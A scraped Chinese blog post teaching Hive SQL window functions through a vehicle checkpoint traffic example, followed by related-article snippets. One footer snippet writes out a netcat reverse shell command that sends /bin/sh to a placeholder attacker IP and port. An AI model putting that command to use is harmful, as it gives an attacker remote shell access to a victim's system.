HIVE卡口流量需求分析

news2024/11/26 9:13:51

HIVE卡口流量需求分析

目录

HIVE卡口流量需求分析

1.创建表格 插入数据

2.需求

3.总结:


1.创建表格 插入数据

CREATE TABLE learn3.veh_pass(
id STRING COMMENT "卡口编号",
pass_time STRING COMMENT "进过时间",
pass_num int COMMENT "过车数"
)
ROW FORMAT DELIMITED FIELDS TERMINATED BY ","
STORED AS TEXTFILE;

load data local inpath "/usr/local/soft/hive-3.1.2/data/veh_pass.txt" INTO TABLE learn3.veh_pass; 

2.需求

需求1:查询四月的设备及其设备种类总数

(如果是查询当前月可以使用语句:substr(pass_time,1,7) = substr(current_date,1,7))


-- 写法1
SELECT
T.id
,count(*) OVER()
FROM (
SELECT
id 
,pass_time
FROM learn3.veh_pass
WHERE substr(pass_time,1,7) = substr(current_date,1,7)
) T GROUP BY T.id


-- 错误写法
SELECT
DISTINCT id 
,count(*) OVER()
FROM (
SELECT
id 
,pass_time
FROM learn3.veh_pass
WHERE substr(pass_time,1,7) = substr(current_date,1,7)
)T 


-- 写法2:
SELECT
T1.id
,count(*) OVER()
FROM (
SELECT
DISTINCT T.id
FROM (
SELECT
id 
,pass_time
FROM learn3.veh_pass
WHERE substr(pass_time,1,7) = "2022-04"
)T )T1;

如果求的是四月每辆车的出现次数

select
t1.id
,count(*)
from
(
select
v.id
,v.pass_time
from learn3.veh_pass v
where substr(pass_time,1,7) = "2022-04"
) t1 group by t1.id;



+---------------------+-----------------+
|        t1.id        | count_window_0  |
+---------------------+-----------------+
| 451000000000071117  | 5               |
| 451000000000071116  | 5               |
| 451000000000071115  | 5               |
| 451000000000071114  | 5               |
| 451000000000071113  | 5               |
+---------------------+-----------------+

+---------------------+
|         id          |
+---------------------+
| 451000000000071113  |
| 451000000000071114  |
| 451000000000071115  |
| 451000000000071116  |
| 451000000000071117  |
+---------------------+



3.总结:

OVER():会为每条数据都开启一个窗口,默认窗口大小就是当前数据集的大小

OVER(PARTITION BY)会按照指定的字段进行分区,在获取一条数据时,窗口大小为整个分区的大小,之后根据分区中的数据进行计算

OVER(PARTITION BY ... ORDER BY ...)根据给定的分区,在获取一条数据时,窗口大小为整个分区的大小,并且对分区中的数据进行排序


-- 需求2:查询所有流量明细及所有设备月流量总额

SELECT
T1.id
,T1.pass_time
,T1.pass_num
,SUM(T1.pass_num) OVER(PARTITION BY SUBSTRING(T1.pass_time,1,7)) as total_pass
FROM learn3.veh_pass T1;


需求3:按设备编号日期顺序展示明细 并求
  

OVER中的取数据格式
(ROWS | RANGE) BETWEEN (UNBOUNDED | [num]) PRECEDING AND ([num] PRECEDING | CURRENT ROW | (UNBOUNDED | [num]) FOLLOWING)
(ROWS | RANGE) BETWEEN CURRENT ROW AND (CURRENT ROW | (UNBOUNDED | [num]) FOLLOWING)
(ROWS | RANGE) BETWEEN [num] FOLLOWING AND (UNBOUNDED | [num]) FOLLOWING

OVER():指定分析函数工作的数据窗口大小,这个数据窗口大小可能会随着行的改变而变化。
CURRENT ROW:当前行
n PRECEDING:往前n行数据
n FOLLOWING:往后n行数据
UNBOUNDED :起点,
UNBOUNDED PRECEDING 表示从前面的起点, 
UNBOUNDED FOLLOWING 表示到后面的终点

     

假设我们现在要取当前行 当前行的前一行数据和后一行数据 我们可以写、

ROW BETWEEN 1 PRECEDING and 1 FOLLOWING

1)从第一天开始到当前天数 对流量进行累加
    

SELECT
T1.*
,SUM(T1.pass_num) OVER(ORDER BY T1.pass_time ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW)
FROM (
SELECT 
*
FROM learn3.veh_pass ORDER BY pass_time
) T1;

    

2)昨天与当前天流量累加
      


SELECT
T1.*
,SUM(T1.pass_num) OVER(ORDER BY T1.pass_time ROWS BETWEEN 1 PRECEDING AND CURRENT ROW)
FROM (
SELECT 
*
FROM learn3.veh_pass ORDER BY pass_time
) T1;

3)当前天数的前一天与后一天流量累加
        

SELECT
T1.*
,SUM(T1.pass_num) OVER(ORDER BY T1.pass_time ROWS BETWEEN 1 PRECEDING AND 1 FOLLOWING)
FROM (
SELECT 
*
FROM learn3.veh_pass ORDER BY pass_time
) T1;

4)当前天与下一天的累加和
        

SELECT
T1.*
,SUM(T1.pass_num) OVER(ORDER BY T1.pass_time ROWS BETWEEN CURRENT ROW  AND 1 FOLLOWING)
FROM (
SELECT 
*
FROM learn3.veh_pass ORDER BY pass_time
) T1;

5)当前天数与之后所有天流量累加和

SELECT
T1.*
,SUM(T1.pass_num) OVER(ORDER BY T1.pass_time ROWS BETWEEN CURRENT ROW  AND UNBOUNDED FOLLOWING)
FROM (
SELECT 
*
FROM learn3.veh_pass ORDER BY pass_time
) T1;

需求4:查询每个设备编号上次有数据日期和下一次有数据日期
 

LAG(col,n,default_val):往前第n行数据
LEAD(col,n, default_val):往后第n行数据
NTILE(n):把有序窗口的行分发到指定数据的组中,各个组有编号,编号从1开始,对于每一行,NTILE返回此行所属的组的编号。

SELECT
T1.*
, LAG(T1.pass_time,1,"2022-01-01") OVER(PARTITION BY T1.id ORDER BY T1.pass_time) as before_time
, LEAD(T1.pass_time,1,"2022-12-31") OVER(PARTITION BY T1.id ORDER BY T1.pass_time) as after_time
FROM learn3.veh_pass T1;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1672564.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

懒人网址导航源码v3.9

测试环境 宝塔Nginx -Tengine2.2.3的PHP5.6 MySQL5.6.44 为防止调试错误,建议使用测试环境运行的php与mysql版本 首先用phpMyAdmin导入数据库文件db/db.sql 如果导入不行,请直接复制数据库内容运行sql语句也可以 再修改config.php来进行数据库配置…

AI智能体|我把Kimi接入了个人微信

大家好,我是无界生长。 最近加入AI学习交流群的小伙伴越来越多,我打算在微信群接入一个聊天机器人,让它协助管理微信群,同时也帮忙给群友解答一些问题。普通的群聊机器人肯定是不能满足需求的,得上AI大模型&#xff0c…

EPS软件标注点坐标值

1、如下,点击右侧(尺寸标注)按钮: 2、弹出一个对话框,如下: 3、在上图对话框中设置好箭头样式和小数位数,然后点击图上一点,右击结束再鼠标指定位置,如下: 如…

同城预约上门服务家政小程序

基于Thinkphp和原生微信小程序开发的一款同城预约、上门服务、到店核销家政系统,用户端、服务端、门店端各端相互依赖又相互独立,支持选择项目、选择服务人员、选择门店多种下单方式,支持上门服务和到店核销两种服务方式,支持自营…

树莓派|连接CSI接口摄像头+opencv

CSI(Camera Serial Interface)接口摄像头是一种常见的嵌入式系统或移动设备中使用的摄像头接口。它通常用于与处理器或图像传感器进行直接连接,实现高速的图像数据传输。 CSI接口摄像头具有以下特点: 高速传输:CSI接口…

仓库管理流程详解(附作业流程图)

仓库管理流程在企业的日常运营中至关重要。它不仅是物资流转的核心环节,更关乎着企业的运营效率、成本控制和客户服务水平。一个高效、规范的仓库管理流程能够确保货物从入库到出库的各个环节有序进行,减少资源浪费和时间成本,同时帮助企业实…

pdf怎么标注红色方框?五种PDF标注红色方框方法

pdf怎么标注红色方框?在当今数字化时代,PDF文档已成为我们日常工作和学习中不可或缺的一部分。然而,如何在海量的PDF文件中快速、准确地标注出重要信息,让内容更加醒目呢?今天,我将向大家介绍五种PDF标注红…

锁和MVCC如何实现mysql的隔离级别

概述 MVCC解决读的隔离性,加锁解决写的隔离性。 读未提交 读未提交,更新数据大概率使用的是独享锁吧。 读已提交 在 Read Committed(读已提交)隔离级别下,每次执行读操作时都会生成一个新的 read view。这是因为在读…

【数据结构】-- 相交链表-环形链表

交叉链表 . - 力扣(LeetCode) 如果链表的两条链的长度一样,链表两端对齐,解决这个问题将会变得非常简单,直接分别遍历两个链表,想等时的节点即为所求。我们想办法让链表对齐--分别从a和b遍历链表&#xff…

VRRP虚拟路由器冗余协议

VRRP概述 VRRP是什么 VRRP:虚拟路由器冗余协议过把几台路由设备联合组成一台虚拟的路由设备,将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信当网关设备发生故障时,VRRP能够选举新的网关设备承担数据流量,从而保障…

2024年最新青龙面板跑脚本教程(一)持续更新中

文章目录 步骤 1: 安装青龙面板步骤 2: 访问青龙面板步骤 3: 上传或创建JavaScript脚本步骤 4: 添加定时任务步骤 5: 查看日志示例脚本步骤 6: 管理依赖和环境变量通用依赖如下,可手动增加。 要在青龙面板上运行JavaScript脚本,首先需要确保你已经成功安…

QCC---Aptx Lossless验证

因为aptx Lossless属于高通骁龙声音的一部分,一般支持高通骁龙声音的设备会支持到,比如说手机,而且还要支持最新的aptx adaptive协议R2.2版本。但是如果手上没有这样的手机的话,有source芯片也可以去做测试验证。在最新的784.1版本…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…

重发布与路由决策

单点重发布 将A协议--->B协议 [r2-rip-1]import-route ospf 1 将静态---->B协议 [r2-rip-1]import-route static 将直连---->B协议 [r2-rip-1]import-route direct 双点重发布 路由回馈:指的是从某协议传出的路由信息又被传回该协议中。可以引起选路…

景源畅信:小白如何做抖音电商怎么样?

在数字浪潮中崛起的抖音电商,以其独特的平台优势吸引了众多创业者的目光。特别是对于初入电商领域的“小白”来说,如何在这个全新的领域站稳脚跟,成为他们迫切需要解答的问题。接下来,我们将深入探讨小白如何在抖音电商中开辟属于…

java+B/S架构医院绩效考核管理系统maven+Visual Studio Code+avue医院绩效管理系统4大特点

javaB/S架构医院绩效考核管理系统源码mavenVisual Studio Codeavue医院绩效管理系统4大特点 医院绩效考核管理系统,采用多维度综合绩效考核的形式,针对院内实际情况分别对工作量、KPI指标、科研、教学、管理等进行全面考核。医院可结合实际需求&#xff…

uniapp 安卓证书导出成cer文件 查看公钥

// your_alias 换成 证书详情中的别名,your_keystore.keystore 改成自己的证书文件名 keytool -export -alias your_alias -file certificate.cer -keystore your_keystore.keystore双击生成的cer文件 可以查看到证书的详细信息 其中就包括证书的公钥

Python Socket

一、服务端 from socket import *def print_hi(name):print(fHi, {name})# 允许所有ip连接IP 0.0.0.0# 端口PORT 8003# 定义一次从socket缓冲区读入512个字节数据BUFFER_LEN 1024# 实例化socket对象 listenSocket 用来监听的socketlistenSocket socket(AF_INET, SOCK_STRE…

Vulnhub-wp 获取vulnhub靶机wp搜索工具

项目地址:https://github.com/MartinxMax/vulnhub-wp 简介 搜索Vulnhub平台的解题文章,之过滤返回出正确可访问的页面 使用 $ python3 vulnhubwp.py 支持模糊搜索 [] Query: kiop 进入选项4,获取wp地址 [] Choice options: 4

【408精华知识】速看!各种排序的大总结!

文章目录 一、插入排序(一)直接插入排序(二)折半插入排序(三)希尔排序 二、交换排序(一)冒泡排序(二)快速排序 三、选择排序(一)简单选…